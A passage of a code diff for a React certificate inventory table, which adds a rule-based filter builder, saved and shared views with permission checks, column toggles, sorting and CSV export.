+          id: "sv-non-pqc",
+          field: "keyAlgorithm",
+          operator: "in",
+          value: [...NON_PQC_KEY_ALGORITHMS]
+        }
+      ];
+    }
+    return [];
+  };
+
+  const [appliedFilters, setAppliedFilters] = useState<FilterRule[]>(() => {
+    if (dashboardFilters?.length) return dashboardFilters;
+    return getFiltersForSystemViewId(dashboardViewId);
+  });
+  const [pendingFilters, setPendingFilters] = useState<FilterRule[]>([]);
+  const [isFilterOpen, setIsFilterOpen] = useState(false);
+
+  const hasDashboardFilters = Boolean(dashboardFilters?.length);
+  const hasSynchronousDashboardView =
+    dashboardViewId === "system-pqc" || dashboardViewId === "system-non-pqc";
+  const [activeViewId, setActiveViewId] = useState<string | null>(() => {
+    if (dashboardViewId) return dashboardViewId;
+    if (hasDashboardFilters) return null;
+    try {
+      return localStorage.getItem(VIEW_STORAGE_KEY) || "system-all";
+    } catch {
+      return "system-all";
+    }
+  });
+  const [isSaveViewOpen, setIsSaveViewOpen] = useState(false);
+  const [hasRestoredView, setHasRestoredView] = useState(
+    hasDashboardFilters || hasSynchronousDashboardView
+  );
+
+  const [sortBy, setSortBy] = useState<string | undefined>(undefined);
+  const [sortOrder, setSortOrder] = useState<"asc" | "desc" | undefined>(undefined);
 
   useEffect(() => {
     const timeoutId = setTimeout(() => {
-      setAppliedSearch(pendingSearch);
+      setAppliedSearch(search);
       setPage(1);
-    }, 500);
-
+    }, SEARCH_DEBOUNCE_MS);
     return () => clearTimeout(timeoutId);
-  }, [pendingSearch]);
+  }, [search]);
 
   const navigate = useNavigate();
   const { currentOrg } = useOrganization();
   const { currentProject } = useProject();
   const { permission } = useProjectPermission();
 
-  const { data: profilesData } = useListCertificateProfiles({
-    projectId: currentProject?.id ?? "",
-    limit: 100
-  });
-
-  const backendStatus = appliedFilters.status ? [appliedFilters.status] : undefined;
-
-  const profileIds = useMemo(() => {
-    if (!appliedProfileIds.length) return undefined;
-    return appliedProfileIds;
-  }, [appliedProfileIds]);
+  const canReadViews = permission.can(
+    ProjectPermissionActions.Read,
+    ProjectPermissionSub.CertificateInventoryViews
+  );
+  const canCreateViews = permission.can(
+    ProjectPermissionActions.Create,
+    ProjectPermissionSub.CertificateInventoryViews
+  );
+  const canEditViews = permission.can(
+    ProjectPermissionActions.Edit,
+    ProjectPermissionSub.CertificateInventoryViews
+  );
+  const canDeleteViews = permission.can(
+    ProjectPermissionActions.Delete,
+    ProjectPermissionSub.CertificateInventoryViews
+  );
 
-  const activeMetadataFilters = useMemo(() => {
-    const filtered = appliedMetadataFilters
-      .filter((m) => m.key.trim())
-      .map(({ key, value }) => ({ key, ...(value?.trim() ? { value } : {}) }));
-    return filtered.length > 0 ? filtered : undefined;
-  }, [appliedMetadataFilters]);
+  const projectId = currentProject?.id ?? "";
+  const [visibleColumns, setVisibleColumns] = useState<Set<string>>(() =>
+    getDefaultVisibleColumns(projectId)
+  );
 
-  const { data, isPending } = useListWorkspaceCertificates({
+  const { data: profilesData } = useListCertificateProfiles({
     projectId: currentProject?.id ?? "",
-    offset: (page - 1) * perPage,
-    limit: perPage,
-    search: appliedSearch.trim() || undefined,
-    status: backendStatus,
-    ...(profileIds && { profileIds }),
-    ...(activeMetadataFilters && { metadataFilter: activeMetadataFilters })
+    limit: 100
   });
 
-  const { mutateAsync: updateRenewalConfig } = useUpdateRenewalConfig();
-  // TODO: Use subscription.pkiLegacyTemplates to block legacy templates creation
-  const isLegacyTemplatesEnabled = true;
-
   const { data: caData } = useListCasByProjectId(currentProject?.id ?? "");
+  const { data: viewsData } = useListCertificateInventoryViews(currentProject?.id ?? "");
+  const { mutateAsync: deleteView } = useDeleteCertificateInventoryView();
+  const { mutateAsync: updateView } = useUpdateCertificateInventoryView();
+  const { mutateAsync: updateRenewalConfig } = useUpdateRenewalConfig();
+  const { user } = useUser();
 
   const caCapabilityMap = useMemo(() => {
     if (!caData) return {};
-
     const map: Record<string, CaType> = {};
     caData.forEach((ca) => {
       map[ca.id] = ca.type;
@@ -196,335 +270,647 @@ export const CertificatesTable = ({ handlePopUpOpen, externalFilter }: Props) =>
     return map;
   }, [caData]);
 
+  const dynamicFieldOptions = useMemo(() => {
+    const options: Record<string, { value: string; label: string }[]> = {};
+    if (caData) {
+      options.caId = caData.map((ca) => ({
+        value: ca.id,
+        label: ca.name || ca.id
+      }));
+    }
+    if (profilesData?.certificateProfiles) {
+      options.profileId = profilesData.certificateProfiles.map((p) => ({
+        value: p.id,
+        label: p.slug
+      }));
+    }
+    return options;
+  }, [caData, profilesData]);
+
+  const filterSearchParams = useMemo(() => filtersToSearchParams(appliedFilters), [appliedFilters]);
+
+  const { data, isPending } = useListWorkspaceCertificates({
+    projectId: currentProject?.id ?? "",
+    offset: (page - 1) * perPage,
+    limit: perPage,
+    search: appliedSearch.trim() || undefined,
+    status: filterSearchParams.status as string | undefined,
+    profileIds: filterSearchParams.profileIds as string[] | undefined,
+    keyAlgorithm: filterSearchParams.keyAlgorithm,
+    keySizes: filterSearchParams.keySizes,
+    caIds: filterSearchParams.caIds,
+    enrollmentTypes: filterSearchParams.enrollmentTypes,
+    notAfterFrom: filterSearchParams.notAfterFrom
+      ? new Date(filterSearchParams.notAfterFrom)
+      : undefined,
+    notAfterTo: filterSearchParams.notAfterTo ? new Date(filterSearchParams.notAfterTo) : undefined,
+    notBeforeFrom: filterSearchParams.notBeforeFrom
+      ? new Date(filterSearchParams.notBeforeFrom)
+      : undefined,
+    notBeforeTo: filterSearchParams.notBeforeTo
+      ? new Date(filterSearchParams.notBeforeTo)
+      : undefined,
+    source: filterSearchParams.source,
+    sortBy,
+    sortOrder
+  });
+
   const certificates = data?.certificates || [];
 
+  const handleSort = useCallback(
+    (column: string) => {
+      if (sortBy === column) {
+        setSortOrder((prev) => (prev === "asc" ? "desc" : "asc"));
+      } else {
+        setSortBy(column);
+        setSortOrder("asc");
+      }
+      setPage(1);
+    },
+    [sortBy]
+  );
+
   const handleDisableAutoRenewal = async (certificateId: string, commonName: string) => {
     if (!currentProject?.slug) {
       createNotification({
-        text: "Unable to disable auto-renewal: Project not found. Please refresh the page and try again.",
+        text: "Unable to disable auto-renewal: Project not found.",
         type: "error"
       });
       return;
     }
+    try {
+      await updateRenewalConfig({
+        certificateId,
+        projectSlug: currentProject.slug,
+        enableAutoRenewal: false
+      });
+      createNotification({
+        text: `Auto-renewal disabled for ${commonName}`,
+        type: "success"
+      });
+    } catch {
+      createNotification({
+        text: "Failed to disable auto-renewal",
+        type: "error"
+      });
+    }
+  };
 
-    await updateRenewalConfig({
-      certificateId,
-      projectSlug: currentProject.slug,
-      enableAutoRenewal: false
-    });
-
-    createNotification({
-      text: `Auto-renewal disabled for ${commonName}`,
-      type: "success"
-    });
+  const persistViewId = (viewId: string | null) => {
+    try {
+      if (viewId) {
+        localStorage.setItem(VIEW_STORAGE_KEY, viewId);
+      } else {
+        localStorage.removeItem(VIEW_STORAGE_KEY);
+      }
+    } catch {
+      // localStorage may be unavailable
+    }
   };
 
-  const handleClearFilters = () => {
-    setPendingSearch("");
-    setPendingFilters({});
-    setPendingProfileIds([]);
-    setPendingMetadataFilters([]);
-    setAppliedSearch("");
-    setAppliedFilters({});
-    setAppliedProfileIds([]);
-    setAppliedMetadataFilters([]);
+  const handleApplyFilters = () => {
+    setAppliedFilters(pendingFilters);
+    setActiveViewId(null);
+    persistViewId(null);
     setPage(1);
+    setIsFilterOpen(false);
   };
 
-  const handleClearStatus = () => {
-    setPendingFilters((prev) => ({ ...prev, status: undefined }));
+  const handleRemoveFilter = (ruleId: string) => {
+    const next = appliedFilters.filter((r) => r.id !== ruleId);
+    setAppliedFilters(next);
+    setPendingFilters(next);
+    setActiveViewId(null);
+    persistViewId(null);
+    setPage(1);
   };
 
-  const handleClearProfiles = () => {
-    setPendingProfileIds([]);
+  const handleClearAllFilters = () => {
+    setAppliedFilters([]);
+    setPendingFilters([]);
+    setActiveViewId("system-all");
+    persistViewId("system-all");
+    setPage(1);
   };
 
-  const isTableFiltered = Boolean(
-    appliedFilters.status ||
-      appliedProfileIds.length ||
-      appliedMetadataFilters.some((m) => m.key.trim())
+  const handleSelectView = useCallback(
+    (viewId: string, filters: TInventoryViewFilters | TSystemViewFilters) => {
+      setActiveViewId(viewId);
+      persistViewId(viewId);
+      setAppliedFilters([]);
+      setPendingFilters([]);
+      setPage(1);
+
+      if (viewId === "system-all") {
+        // do nothing
+      } else if (viewId === "system-expiring-7d") {
+        const now = new Date();
+        const in7d = new Date(now.getTime() + 7 * MS_PER_DAY);
+        setAppliedFilters([
+          { id: "sv-status", field: "status", operator: "in", value: ["active"] },
+          {
+            id: "sv-expiry",
+            field: "notAfter",
+            operator: "before",
+            value: in7d.toISOString().split("T")[0]
+          }
+        ]);
+      } else if (viewId === "system-expiring-30d") {
+        const now = new Date();
+        const in30d = new Date(now.getTime() + 30 * MS_PER_DAY);
+        setAppliedFilters([
+          { id: "sv-status", field: "status", operator: "in", value: ["active"] },
+          {
+            id: "sv-expiry",
+            field: "notAfter",
+            operator: "before",
+            value: in30d.toISOString().split("T")[0]
+          }
+        ]);
+      } else if (viewId === "system-expired") {
+        setAppliedFilters([
+          { id: "sv-status", field: "status", operator: "in", value: ["expired"] }
+        ]);
+      } else if (viewId === "system-revoked") {
+        setAppliedFilters([
+          { id: "sv-status", field: "status", operator: "in", value: ["revoked"] }
+        ]);
+      } else if (viewId === "system-pqc") {
+        setAppliedFilters([
+          {
+            id: "sv-pqc",
+            field: "keyAlgorithm",
+            operator: "in",
+            value: [...PQC_KEY_ALGORITHMS]
+          }
+        ]);
+      } else if (viewId === "system-non-pqc") {
+        setAppliedFilters([
+          {
+            id: "sv-non-pqc",
+            field: "keyAlgorithm",
+            operator: "in",
+            value: [...NON_PQC_KEY_ALGORITHMS]
+          }
+        ]);
+      } else {
+        const customFilters = filters as TInventoryViewFilters;
+        const rules: FilterRule[] = [];
+        if (customFilters.status) {
+          const statusArr = customFilters.status.split(",");
+          if (statusArr.length > 0) {
+            rules.push({ id: "cv-status", field: "status", operator: "in", value: statusArr });
+          }
+        }
+        if (customFilters.notAfterTo) {
+          const d = new Date(customFilters.notAfterTo);
+          rules.push({
+            id: "cv-notAfterTo",
+            field: "notAfter",
+            operator: "before",
+            value: d.toISOString().split("T")[0]
+          });
+        }
+        if (customFilters.notAfterFrom) {
+          const d = new Date(customFilters.notAfterFrom);
+          rules.push({
+            id: "cv-notAfterFrom",
+            field: "notAfter",
+            operator: "after",
+            value: d.toISOString().split("T")[0]
+          });
+        }
+        if (customFilters.notBeforeTo) {
+          const d = new Date(customFilters.notBeforeTo);
+          rules.push({
+            id: "cv-notBeforeTo",
+            field: "notBefore",
+            operator: "before",
+            value: d.toISOString().split("T")[0]
+          });
+        }
+        if (customFilters.notBeforeFrom) {
+          const d = new Date(customFilters.notBeforeFrom);
+          rules.push({
+            id: "cv-notBeforeFrom",
+            field: "notBefore",
+            operator: "after",
+            value: d.toISOString().split("T")[0]
+          });
+        }
+        if (customFilters.enrollmentTypes && customFilters.enrollmentTypes.length > 0) {
+          rules.push({
+            id: "cv-enrollment",
+            field: "enrollmentType",
+            operator: "in",
+            value: customFilters.enrollmentTypes
+          });
+        }
+        if (customFilters.keyAlgorithm) {
+          const algoValue = Array.isArray(customFilters.keyAlgorithm)
+            ? customFilters.keyAlgorithm
+            : [customFilters.keyAlgorithm];
+          rules.push({
+            id: "cv-algo",
+            field: "keyAlgorithm",
+            operator: "in",
+            value: algoValue
+          });
+        }
+        if (customFilters.keySizes && customFilters.keySizes.length > 0) {
+          rules.push({
+            id: "cv-keysize",
+            field: "keySize",
+            operator: "in",
+            value: customFilters.keySizes.map(String)
+          });
+        }
+        if (customFilters.caIds && customFilters.caIds.length > 0) {
+          rules.push({ id: "cv-ca", field: "caId", operator: "in", value: customFilters.caIds });
+        }
+        if (customFilters.profileIds && customFilters.profileIds.length > 0) {
+          rules.push({
+            id: "cv-profile",
+            field: "profileId",
+            operator: "in",
+            value: customFilters.profileIds
+          });
+        }
+        if (customFilters.source) {
+          const sourceValue = Array.isArray(customFilters.source)
+            ? customFilters.source
+            : [customFilters.source];
+          rules.push({
+            id: "cv-source",
+            field: "source",
+            operator: "in",
+            value: sourceValue
+          });
+        }
+        setAppliedFilters(rules);
+      }
+    },
+    []
   );
 
-  const hasFilterChanges = useMemo(() => {
-    const pendingStatus = pendingFilters.status ?? undefined;
-    const appliedStatus = appliedFilters.status ?? undefined;
-    const statusChanged = pendingStatus !== appliedStatus;
-    const profileIdsChanged =
-      JSON.stringify([...pendingProfileIds].sort()) !==
-      JSON.stringify([...appliedProfileIds].sort());
-    const metadataChanged =
-      JSON.stringify(pendingMetadataFilters) !== JSON.stringify(appliedMetadataFilters);
-    return statusChanged || profileIdsChanged || metadataChanged;
-  }, [
-    pendingFilters.status,
-    appliedFilters.status,
-    pendingProfileIds,
-    appliedProfileIds,
-    pendingMetadataFilters,
-    appliedMetadataFilters
-  ]);
+  const handleDeleteView = async (viewId: string) => {
+    if (!currentProject?.id) return;
+    try {
+      await deleteView({ projectId: currentProject.id, viewId });
+      createNotification({ text: "View deleted", type: "success" });
+      if (activeViewId === viewId) {
+        handleClearAllFilters();
+      }
+    } catch {
+      createNotification({ text: "Failed to delete view", type: "error" });
+    }
+  };
+
+  const handleToggleShare = async (viewId: string, isShared: boolean) => {
+    if (!currentProject?.id) return;
+    try {
+      await updateView({ projectId: currentProject.id, viewId, isShared });
+      createNotification({
+        text: isShared ? "View shared with team" : "View made personal",
+        type: "success"
+      });
+    } catch {
+      createNotification({ text: "Failed to update view sharing", type: "error" });
+    }
+  };
+
+  useEffect(() => {
+    if (hasRestoredView || !viewsData) return;
+    setHasRestoredView(true);
+
+    if (!activeViewId || activeViewId === "system-all") return;
+
+    const systemView = viewsData.systemViews.find((v) => v.id === activeViewId);
+    if (systemView) {
+      handleSelectView(systemView.id, systemView.filters);
+      return;
+    }
+
+    const sharedView = viewsData.sharedViews?.find((v) => v.id === activeViewId);
+    if (sharedView) {
+      handleSelectView(sharedView.id, sharedView.filters);
+      return;
+    }
+
+    const customView = viewsData.customViews.find((v) => v.id === activeViewId);
+    if (customView) {
+      handleSelectView(customView.id, customView.filters);
+      return;
+    }
+
+    setActiveViewId("system-all");
+    persistViewId("system-all");
+  }, [viewsData, hasRestoredView, handleSelectView]);
+
+  const handleExportCSV = () => {
+    if (!certificates.length) return;
+    const csv = certificatesToCSV(certificates);
+    downloadCSV(csv, `certificates-export-${new Date().toISOString().split("T")[0]}.csv`);
+  };
+
+  const isTableFiltered = appliedFilters.length > 0;
 
   return (
     <div>
-      <div className="mb-4 flex gap-2">
-        <Input
-          value={pendingSearch}
-          onChange={(e) => setPendingSearch(e.target.value)}
-          leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
-          placeholder="Search by SAN, CN, ID or Serial Number"
-          className="flex-1"
-        />
-        <DropdownMenu>
-          <DropdownMenuTrigger asChild>
-            <IconButton
-              ariaLabel="Filter Certificates"
-              variant="plain"
-              size="sm"
-              className={twMerge(
-                "flex h-10 w-11 items-center justify-center overflow-hidden border border-mineshaft-600 bg-mineshaft-800 p-0 transition-all hover:border-primary/60 hover:bg-primary/10",
-                isTableFiltered && "border-primary/50 text-primary"
-              )}
-            >
-              <FontAwesomeIcon icon={faFilter} />
-            </IconButton>
-          </DropdownMenuTrigger>
-          <DropdownMenuContent
-            sideOffset={2}
-            className="max-h-[70vh] thin-scrollbar w-80 overflow-y-auto p-4"
-            align="end"
-          >
-            <div className="space-y-4">
-              <div className="flex items-center justify-between">
-                <h3 className="text-sm font-medium text-mineshaft-100">Filters</h3>
-                <span className="text-xs text-bunker-300">
-                  {isTableFiltered && (
-                    <button
-                      type="button"
-                      onClick={handleClearFilters}
-                      className="cursor-pointer text-primary hover:text-primary-600"
-                    >
-                      Clear filters
-                    </button>
-                  )}
-                </span>
-              </div>
-
-              <div className="space-y-2">
-                <div className="flex items-center justify-between">
-                  <span className="text-xs font-medium text-bunker-300 uppercase">
-                    Certificate Profiles
-                  </span>
-                  {pendingProfileIds.length > 0 && (
-                    <button
-                      type="button"
-                      onClick={handleClearProfiles}
-                      className="cursor-pointer text-xs text-primary hover:text-primary-600"
-                    >
-                      Clear
-                    </button>
-                  )}
-                </div>
-                <FilterableSelect
-                  value={pendingProfileIds.map((id) => ({
-                    value: id,
-                    label: profilesData?.certificateProfiles?.find((p) => p.id === id)?.slug || id
-                  }))}
-                  onChange={(selectedOptions) => {
-                    const ids = Array.isArray(selectedOptions)
-                      ? selectedOptions.map((opt) => opt.value)
-                      : [];
-                    setPendingProfileIds(ids);
-                  }}
-                  options={
-                    profilesData?.certificateProfiles?.map((profile) => ({
-                      value: profile.id,
-                      label: profile.slug
-                    })) || []
-                  }
-                  placeholder="Select certificate profiles..."
-                  className="w-full border-mineshaft-600 bg-mineshaft-700 text-bunker-200"
-                  isMulti
-                  isLoading={!profilesData}
-                  maxMenuHeight={120}
-                />
-              </div>
-
-              <div className="space-y-2">
-                <div className="flex items-center justify-between">
-                  <span className="text-xs font-medium text-bunker-300 uppercase">Status</span>
-                  {pendingFilters.status && (
-                    <button
-                      type="button"
-                      onClick={handleClearStatus}
-                      className="cursor-pointer text-xs text-primary hover:text-primary-600"
-                    >
-                      Clear
-                    </button>
-                  )}
-                </div>
-                <Select
-                  value={pendingFilters.status || "all"}
-                  onValueChange={(value: string) => {
-                    setPendingFilters((prev) => ({
-                      ...prev,
-                      status: value === "all" ? undefined : (value as CertificateStatus)
-                    }));
-                  }}
-                  placeholder="All statuses"
-                  className="w-full border-mineshaft-600 bg-mineshaft-700 text-bunker-200"
-                  position="popper"
-                  dropdownContainerClassName="max-w-none"
-                >
-                  <SelectItem value="all">All statuses</SelectItem>
-                  <SelectItem value={CertificateStatus.Active}>Active</SelectItem>
-                  <SelectItem value={CertificateStatus.Expired}>Expired</SelectItem>
-                  <SelectItem value={CertificateStatus.Revoked}>Revoked</SelectItem>
-                </Select>
-              </div>
-
-              <MetadataFilterSection
-                entries={pendingMetadataFilters}
-                onChange={setPendingMetadataFilters}
-              />
-
-              <div className="pt-2">
-                <Button
-                  onClick={() => {
-                    setAppliedFilters(pendingFilters);
-                    setAppliedProfileIds(pendingProfileIds);
-                    setAppliedMetadataFilters(pendingMetadataFilters);
-                    setPage(1);
-                  }}
-                  className="w-full bg-primary font-medium text-black hover:bg-primary-600"
-                  size="sm"
-                  isDisabled={!hasFilterChanges}
+      <div className="mb-4 flex items-center gap-2">
+        <InputGroup className="flex-1">
+          <InputGroupAddon>
+            <SearchIcon />
+          </InputGroupAddon>
+          <InputGroupInput
+            value={search}
+            onChange={(e) => setSearch(e.target.value)}
+            placeholder="Search by SAN, CN, ID or Serial Number"
+          />
+        </InputGroup>
+
+        <Popover
+          open={isFilterOpen}
+          onOpenChange={(open) => {
+            if (open) setPendingFilters([...appliedFilters]);
+            setIsFilterOpen(open);
+          }}
+        >
+          <PopoverTrigger asChild>
+            <div className="relative">
+              <IconButton
+                variant={isTableFiltered ? "project" : "outline"}
+                size="md"
+                aria-label="Filter Certificates"
+              >
+                <FilterIcon />
+              </IconButton>
+              {isTableFiltered && (
+                <Badge
+                  variant="default"
+                  className="pointer-events-none absolute -top-2 -right-2.5 min-w-[18px] justify-center px-1 py-0 text-[10px] font-bold"
                 >
-                  Apply Filters
-                </Button>
-              </div>
+                  {appliedFilters.length}
+                </Badge>
+              )}
             </div>
-          </DropdownMenuContent>
-        </DropdownMenu>
+          </PopoverTrigger>
+          <PopoverContent sideOffset={4} className="w-[680px] overflow-visible p-0" align="end">
+            <FilterBuilder
+              rules={pendingFilters}
+              onChange={setPendingFilters}
+              onApply={handleApplyFilters}
+              onCancel={() => {
+                setPendingFilters(appliedFilters);
+                setIsFilterOpen(false);
+              }}
+              onClearAll={() => {
+                handleClearAllFilters();
+                setIsFilterOpen(false);
+              }}
+              onSaveView={canCreateViews ? () => setIsSaveViewOpen(true) : undefined}
+              dynamicFieldOptions={dynamicFieldOptions}
+            />
+          </PopoverContent>
+        </Popover>
+
+        <IconButton
+          variant="outline"
+          size="md"
+          aria-label="Export CSV"
+          onClick={handleExportCSV}
+          disabled={!certificates.length}
+        >
+          <DownloadIcon />
+        </IconButton>
+
+        {canReadViews && (
+          <ViewsDropdown
+            activeViewId={activeViewId}
+            systemViews={viewsData?.systemViews || []}
+            sharedViews={viewsData?.sharedViews || []}
+            customViews={viewsData?.customViews || []}
+            currentUserId={user?.id}
+            onSelectView={handleSelectView}
+            onDeleteView={canDeleteViews ? (viewId) => handleDeleteView(viewId) : undefined}
+            onToggleShare={canEditViews ? handleToggleShare : undefined}
+          />
+        )}
+
+        <ColumnVisibilityToggle
+          visibleColumns={visibleColumns}
+          onChange={setVisibleColumns}
+          projectId={projectId}
+        />
       </div>
-      <TableContainer>
-        <Table>
-          <THead>
-            <Tr>
-              <Th className="w-1/4">SAN / CN</Th>
-              <Th>Serial Number</Th>
-              <Th className="w-24">
-                Source
-                <Tooltip content="How this certificate was added. Managed: issued and lifecycle-managed by Infisical. Discovered: found via network scan (discovery jobs). Imported: manually uploaded by a user.">
-                  <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
-                </Tooltip>
-              </Th>
-              <Th className="w-24">Status</Th>
-              <Th>Issued At</Th>
-              <Th>Expiring At</Th>
-              <Th className="w-12" />
-            </Tr>
-          </THead>
-          <TBody>
-            {isPending && <TableSkeleton columns={6} innerKey="project-cas" />}
-            {!isPending &&
-              certificates.map((certificate) => {
-                const { variant, label } = getCertValidUntilBadgeDetails(certificate.notAfter);
-
-                const isRevoked = certificate.status === CertStatus.REVOKED;
-                const isExpired = new Date(certificate.notAfter) < new Date();
-                const isExpiringWithinDay = isExpiringWithinOneDay(certificate.notAfter);
-                const hasFailed = Boolean(certificate.renewalError);
-                const isAutoRenewalEnabled = Boolean(
-                  certificate.renewBeforeDays && certificate.renewBeforeDays > 0
-                );
-
-                const canShowAutoRenewalIcon = Boolean(
-                  certificate.profileId &&
-                    certificate.hasPrivateKey !== false &&
-                    !certificate.renewedByCertificateId &&
-                    !isRevoked &&
-                    !isExpired &&
-                    !isExpiringWithinDay
-                );
-
-                const { originalDisplayName } = getCertificateDisplayName(certificate, 64, "—");
-
-                return (
-                  <Tr
-                    className="group h-10 cursor-pointer hover:bg-mineshaft-700"
-                    key={`certificate-${certificate.id}`}
-                    onClick={() => {
-                      navigate({
-                        to: "/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId",
-                        params: {
-                          orgId: currentOrg.id,
-                          projectId: currentProject.id,
-                          certificateId: certificate.id
-                        }
-                      });
-                    }}
+
+      <ActiveFilterChips
+        rules={appliedFilters}
+        onRemove={handleRemoveFilter}
+        onClearAll={handleClearAllFilters}
+        dynamicFieldOptions={dynamicFieldOptions}
+      />
+
+      {(isPending || certificates.length > 0) && (
+        <>
+          <Table>
+            <TableHeader>
+              <TableRow>
+                {visibleColumns.has("sanCn") && (
+                  <TableHead className="max-w-[200px] min-w-[120px]">SAN / CN</TableHead>
+                )}
+                {visibleColumns.has("serialNumber") && (
+                  <TableHead className="max-w-[120px] min-w-[90px]">Serial #</TableHead>
+                )}
+                {visibleColumns.has("enrollmentMethod") && (
+                  <TableHead className="w-[110px]">Enrollment Method</TableHead>
+                )}
+                {visibleColumns.has("status") && <TableHead className="w-[80px]">Status</TableHead>}
+                {visibleColumns.has("health") && (
+                  <TableHead className="w-[110px]">Health</TableHead>
+                )}
+                {visibleColumns.has("issuedAt") && (
+                  <TableHead
+                    className="w-[100px] cursor-pointer"
+                    onClick={() => handleSort("notBefore")}
+                  >
+                    Issued
+                    <SortIcon column="notBefore" sortBy={sortBy} sortOrder={sortOrder} />
+                  </TableHead>
+                )}
+                {visibleColumns.has("expiresAt") && (
+                  <TableHead
+                    className="w-[100px] cursor-pointer"
+                    onClick={() => handleSort("notAfter")}
                   >
-                    <Td className="max-w-0">
-                      <CertificateDisplayName cert={certificate} maxLength={64} fallback="—" />
-                    </Td>
-                    <Td>
-                      <div className="max-w-xs truncate" title={certificate.serialNumber || "N/A"}>
-                        {truncateSerialNumber(certificate.serialNumber)}
-                      </div>
-                    </Td>
-                    <Td>
-                      <Badge variant="ghost">
-                        {getCertSourceLabel(certificate.source ?? null)}
-                      </Badge>
-                    </Td>
-                    <Td>
-                      {certificate.status === CertStatus.REVOKED ? (
-                        <Badge variant="danger">Revoked</Badge>
-                      ) : (
-                        <Badge variant={variant}>{label}</Badge>
+                    Expires
+                    <SortIcon column="notAfter" sortBy={sortBy} sortOrder={sortOrder} />
+                  </TableHead>
+                )}
+                {visibleColumns.has("ca") && (
+                  <TableHead className="max-w-[130px] min-w-[80px]">CA</TableHead>
+                )}
+                {visibleColumns.has("profile") && (
+                  <TableHead className="max-w-[120px] min-w-[80px]">Profile</TableHead>
+                )}
+                {visibleColumns.has("algorithm") && (
+                  <TableHead className="w-[90px]">Algorithm</TableHead>
+                )}
+                {visibleColumns.has("source") && <TableHead className="w-[80px]">Source</TableHead>}
+                <TableHead className="w-5" />
+              </TableRow>
+            </TableHeader>
+            <TableBody>
+              {isPending &&
+                Array.from({ length: 10 }).map((_, i) => (
+                  <TableRow key={`skeleton-${i + 1}`}>
+                    {Array.from({ length: visibleColumns.size + 1 }).map((__, j) => (
+                      <TableCell key={`skeleton-cell-${j + 1}`}>
+                        <Skeleton className="h-4 w-full" />
+                      </TableCell>
+                    ))}
+                  </TableRow>
+                ))}
+              {!isPending &&
+                certificates.map((certificate) => {
+                  const { variant, label } = getCertValidUntilBadgeDetails(certificate.notAfter);
+                  const isRevoked = certificate.status === CertStatus.REVOKED;
+                  const isExpired = new Date(certificate.notAfter) < new Date();
+                  const isExpiringWithinDay = isExpiringWithinOneDay(certificate.notAfter);
+                  const hasFailed = Boolean(certificate.renewalError);
+                  const isAutoRenewalEnabled = Boolean(
+                    certificate.renewBeforeDays && certificate.renewBeforeDays > 0
+                  );
+                  const canShowAutoRenewalIcon = Boolean(
+                    certificate.profileId &&
+                      certificate.hasPrivateKey !== false &&
+                      !certificate.renewedByCertificateId &&
+                      !isRevoked &&
+                      !isExpired &&
+                      !isExpiringWithinDay
+                  );
+                  const { originalDisplayName } = getCertificateDisplayName(certificate, 64, "—");
+
+                  return (
+                    <TableRow
+                      className="group"
+                      key={`certificate-${certificate.id}`}
+                      onClick={() => {
+                        navigate({
+                          to: "/organizations/$orgId/projects/cert-manager/$projectId/certificates/$certificateId",
+                          params: {
+                            orgId: currentOrg.id,
+                            projectId: currentProject.id,
+                            certificateId: certificate.id
+                          }
+                        });
+                      }}
+                    >
+                      {visibleColumns.has("sanCn") && (
+                        <TableCell isTruncatable>
+                          <CertificateDisplayName cert={certificate} maxLength={64} fallback="—" />
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("serialNumber") && (
+                        <TableCell isTruncatable>
+                          {truncateSerialNumber(certificate.serialNumber)}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("enrollmentMethod") && (
+                        <TableCell>
+                          {getEnrollmentMethodBadge(certificate.enrollmentType)}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("status") && (
+                        <TableCell>
+                          {isRevoked ? (
+                            <Badge variant="danger">Revoked</Badge>
+                          ) : isExpired ? (
+                            <Badge variant="danger">Expired</Badge>
+                          ) : (
+                            <Badge variant="success">Active</Badge>
+                          )}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("health") && (
+                        <TableCell>
+                          {isRevoked ? (
+                            <Badge variant="danger">Critical</Badge>
+                          ) : (
+                            <Badge variant={variant}>{label}</Badge>
+                          )}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("issuedAt") && (
+                        <TableCell>
+                          {certificate.notBefore ? (
+                            format(new Date(certificate.notBefore), "MMM d, yyyy")
+                          ) : (
+                            <EmptyCell />
+                          )}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("expiresAt") && (
+                        <TableCell>
+                          {certificate.notAfter ? (
+                            format(new Date(certificate.notAfter), "MMM d, yyyy")
+                          ) : (
+                            <EmptyCell />
+                          )}
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("ca") && (
+                        <TableCell isTruncatable>{certificate.caName || <EmptyCell />}</TableCell>
+                      )}
+                      {visibleColumns.has("profile") && (
+                        <TableCell isTruncatable>
+                          {certificate.profileName || <EmptyCell />}
+                        </TableCell>
                       )}
-                    </Td>
-                    <Td>
-                      {certificate.notBefore
-                        ? format(new Date(certificate.notBefore), "yyyy-MM-dd")
-                        : "-"}
-                    </Td>
-                    <Td>
-                      {certificate.notAfter
-                        ? format(new Date(certificate.notAfter), "yyyy-MM-dd")
-                        : "-"}
-                    </Td>
-                    <Td className="flex items-center justify-end gap-2">
-                      <div
-                        className={`transition-opacity ${(() => {
-                          if (!canShowAutoRenewalIcon) return "";
-                          if (isAutoRenewalEnabled) return "opacity-100";
-                          return "opacity-0 group-hover:opacity-100";
-                        })()}`}
-                      >
-                        {canShowAutoRenewalIcon &&
-                          (() => {
-                            const canEditCertificate = permission.can(
-                              ProjectPermissionCertificateActions.Edit,
-                              subject(ProjectPermissionSub.Certificates, {
-                                commonName: certificate.commonName,
-                                altNames: certificate.altNames?.split(",").map((s) => s.trim()),
-                                serialNumber: certificate.serialNumber,
-                                metadata: certificate.metadata
-                              })
-                            );
-
-                            return (
-                              <Tooltip
-                                content={(() => {
+                      {visibleColumns.has("algorithm") && (
+                        <TableCell>
+                          <span className="text-xs">
+                            {certificate.keyAlgorithm?.replace("_", "-") || <EmptyCell />}
+                          </span>
+                        </TableCell>
+                      )}
+                      {visibleColumns.has("source") && (
+                        <TableCell>
+                          <Badge variant="ghost">
+                            {getCertSourceLabel(certificate.source ?? null)}
